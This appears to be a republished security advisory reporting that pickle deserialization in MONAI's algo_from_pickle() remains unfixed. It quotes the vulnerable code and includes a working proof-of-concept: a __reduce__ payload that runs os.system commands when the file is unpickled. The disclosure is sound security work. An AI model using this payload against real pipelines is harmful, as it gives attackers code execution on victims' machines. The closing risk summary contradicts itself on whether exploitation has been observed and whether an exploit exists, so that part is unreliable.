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GHSA-qxq5-qhx6-94qw
monaiSummary
GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in
algo_from_pickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py
has not been modified since 2024-07-12 — 18 months before v1.5.2 was released
(2026-01-29). All three pickle.loads() calls remain unchanged. The fix was
never implemented.
Vulnerable Code
File: monai/auto3dseg/utils.py (last commit: 2024-07-12, unchanged in v1.5.2)
def algo_from_pickle(pkl_filename: str, ...):
with open(pkl_filename, "rb") as f_pi:
data_bytes = f_pi.read()
data = pickle.loads(data_bytes) # SINK 1 — line 321, RCE fires here
# isinstance/key checks happen AFTER deserialization — already too late
algo_bytes = data.pop("algo_bytes")
...
if len(template_paths_candidates) == 0:
algo = pickle.loads(algo_bytes) # SINK 2 — line 350
else:
for p in template_paths_candidates:
algo = pickle.loads(algo_bytes) # SINK 3 — line 356
No Unpickler subclass, no find_class restriction, no allowlist.
Why the Fix is Incomplete
- monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8")
- v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes
- v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
- GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch
PoC
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('id > /tmp/rce_proof.txt',))
# Craft malicious pkl
data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None}
with open("/tmp/evil.pkl", "wb") as f:
f.write(pickle.dumps(data))
# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim
with open("/tmp/evil.pkl", "rb") as f:
data = pickle.loads(f.read()) # SINK 1 fires — RCE here
algo = pickle.loads(data["algo_bytes"]) # SINK 2 fires
print(open("/tmp/rce_proof.txt").read())
# uid=1000(user) gid=1000(user) groups=...
Verified on monai v1.5.2 (utils.py verbatim source):
[+] RCE CONFIRMED via algo_from_pickle():
desktop-5657tb1\woong
Impact
Any application or ML pipeline calling algo_from_pickle() with an
attacker-supplied file path is vulnerable to full RCE. Medical AI workflows
frequently exchange model checkpoints, making this a realistic attack vector.
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The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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